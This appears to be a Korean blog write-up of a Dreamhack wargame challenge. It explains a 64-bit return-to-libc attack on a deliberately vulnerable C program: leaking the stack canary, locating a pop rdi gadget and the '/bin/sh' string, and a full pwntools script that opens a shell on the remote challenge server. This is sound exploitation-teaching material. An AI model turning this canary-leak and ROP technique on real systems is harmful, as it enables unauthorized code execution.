// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
lecture에서 넘어온거라 NX 보호기법이 걸려있다는 것을 알고 시작하지만, 사실 확인해보아야하는 것이 맞다.
checksec 프로그램으로 아래와 같이 canary 및 NX가 걸려있음을 확인할 수 있다.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ checksec --file=rtl
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 69) Symbols No 0 2 rtl
코드부터 분석해보면
전역 변수로 /bin/sh 문자열을 선언하고
main 함수로 들어가서
0x30 byte의 buf 변수를 선언하고
system 함수를 1회 실행시켜줌으로 인해 plt를 got으로 변환(?) 해준다.
이후는 앞선 canary 문제와 동일하다.
이번 문제의 주요 사항은 NX 우회를 위한 library 함수의 실행이다.
우선 32 bit와 64 bit의 RTL 차이를 이해해야 한다.
32 bit의 경우 함수가 실행되기 전 인자들이 스택에 입력만 되어있으면 문제 없다.
예를 들어 system('/bin/sh') 를 실행하기 위해서는
system 함수 주소를 ret에 덮어씌우고, 이후 system 함수 종료 후 돌아갈 return address + /bin/sh 문자열이 저장된 주소
의 순으로 스택에 값만 들어가면 된다.
하지만 64 bit에서는 레지스터에 값이 들어가야 한다.
동일하게 system('/bin/sh') 를 실행하기 위해서는 /bin/sh 문자열이 저장된 주소가 %rdi에 들어가있어야하기에
pop rdi, ret gadget 주소를 ret에 덮어씌우고, 이후 %rdi에 넣을 /bin/sh 문자열이 저장된 주소 + system 함수 주소
의 순으로 스택에 전달되어야 한다.
본 문제의 경우 64 bit 환경이기에 알아내야 하는 값은 canary, gadget, /bin/sh 문자열 주소, system 함수 주소이다.
우선 main 함수를 어셈블러 코드로 출력하여 canary 위치, buf 변수 위치를 확인하였다.
...
0x00000000004006ff <+8>: mov %fs:0x28,%rax
0x0000000000400708 <+17>: mov %rax,-0x8(%rbp)
...
0x0000000000400772 <+123>: lea -0x40(%rbp),%rax
0x0000000000400776 <+127>: mov $0x100,%edx
0x000000000040077b <+132>: mov %rax,%rsi
0x000000000040077e <+135>: mov $0x0,%edi
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
...
전역 변수로 선언된 /bin/sh 문자열의 주소는 gef에서 문자열을 쉽게 찾을 수 있도록 지원하며 아래와 같이 찾을 수 있다.
gef➤ grep /bin/sh
[+] Searching '/bin/sh' in memory
[+] In '/home/kali/Downloads/1/rtl'(0x400000-0x401000), permission=r-x
0x400874 - 0x40087b → "/bin/sh"
[+] In '/home/kali/Downloads/1/rtl'(0x600000-0x601000), permission=r--
0x600874 - 0x60087b → "/bin/sh"
[+] In '/usr/lib/x86_64-linux-gnu/libc-2.33.so'(0x7ffff7f56000-0x7ffff7fa2000), permission=r--
0x7ffff7f70882 - 0x7ffff7f70889 → "/bin/sh"
만, 사실 정석은 libc 파일에서 offset을 확인하여 찾는 것이지 않나 생각한다. (위의 3번째 항목이 그거다.)
system 함수의 got 주소는 아래와 같이 찾을 수 있다.
gef➤ p system
$1 = {<text variable, no debug info>} 0x4005d0 <system@plt>
gef➤ x/i 0x4005d0
0x4005d0 <system@plt>: jmp *0x200a52(%rip) # 0x601028 <system@got.plt>
마지막으로 pop rdi, ret gadget은 ROPgadget 프로그램을 사용하여도 되지만 직접 찾을 수도 있다.
예를 들면 아래와 같다.
#objdump로의 확인
┌──(kali㉿kali)-[~/Downloads/1]
└─$ objdump -d rtl | grep -B2 ret
400590: ff d0 call *%rax
400592: 48 83 c4 08 add $0x8,%rsp
400596: c3 ret
--
0000000000400640 <_dl_relocate_static_pie>:
400640: f3 c3 repz ret
--
400673: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
400678: 5d pop %rbp
400679: c3 ret
--
4006b5: 0f 1f 00 nopl (%rax)
4006b8: 5d pop %rbp
4006b9: c3 ret
--
4006d2: c6 05 9f 09 20 00 01 movb $0x1,0x20099f(%rip) # 601078 <completed.7698>
4006d9: 5d pop %rbp
4006da: c3 ret
4006db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
4006e0: f3 c3 repz ret
--
4007e1: e8 da fd ff ff call 4005c0 <__stack_chk_fail@plt>
4007e6: c9 leave
4007e7: c3 ret
--
400850: 41 5e pop %r14
400852: 41 5f pop %r15
400854: c3 ret
--
0000000000400860 <__libc_csu_fini>:
400860: f3 c3 repz ret
--
400864: 48 83 ec 08 sub $0x8,%rsp
400868: 48 83 c4 08 add $0x8,%rsp
40086c: c3 ret
없네...?
까불지말고 ROPgadget 쓰자.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary rtl | grep rdi
0x0000000000400853 : pop rdi ; ret
이제 모든 값을 모았으니 정리해보면
canary는 %rbp-0x8에 위치하며, buf 변수는 %rbp-0x40 위치에 할당되므로
프로그램 실행 후 첫 입력 시 dummy 0x40 byte - 0x8 byte 값을 입력하면 canary를 얻을 수 있다.
두번째 입력 시
dummy 0x38 byte + canary 8 byte + sfp 8 byte + pop rdi, ret 8 byte + /bin/sh 8 byte+ system 8 byte
를 보내면 shell을 획득할 수 있을 것으로 예상된다.
이를 기준으로 코드를 작성해보면 아래와 같다.
from pwn import *
rop = b''
rop += p64(0x0000000000400853)
binsh = b''
binsh += p64(0x400874)
system = b''
system += p64(0x4005d0)
p = remote ('host3.dreamhack.games',19943)
#p = process('./rtl')
get_canary = b''
get_canary += b'A'*(0x38)
p.sendlineafter(b'Buf: ',get_canary)
p.recvuntil(b'\x0a')
canary = b'\x00'
canary += p.recv(7)
pay = b''
pay += b'\x90'*0x38
pay += canary
pay += b'\x90'*0x8
pay += p64(0x400596) #ret gadget for stack align
pay += rop
pay += binsh
pay += system
p.sendlineafter(b'Buf: ',pay)
p.interactive()
여기서 특이사항은 sfp까지 채운 후 ret address에 ret gadget을 한번 넣어준 점이다.
없어도 실행되기도 하지만 간혹 code가 제대로 작성되었음에도 불구하고 segmentation fault 오류가 발생하는 경우에는 이와 같이 ret을 추가로 넣어주면 잘 작동한다.
그 이유는 아래를 참조.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 19943: Done
[*] Switching to interactive mode
$ id
uid=1000(rtl) gid=1000(rtl) groups=1000(rtl)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
basic_rop_x64 (0) | 2022.07.22 |
---|---|
rop (0) | 2022.07.20 |
Return to Shellcode (0) | 2022.07.19 |
ssp_001 (0) | 2022.07.18 |
basic_exploitation_001 (0) | 2022.07.18 |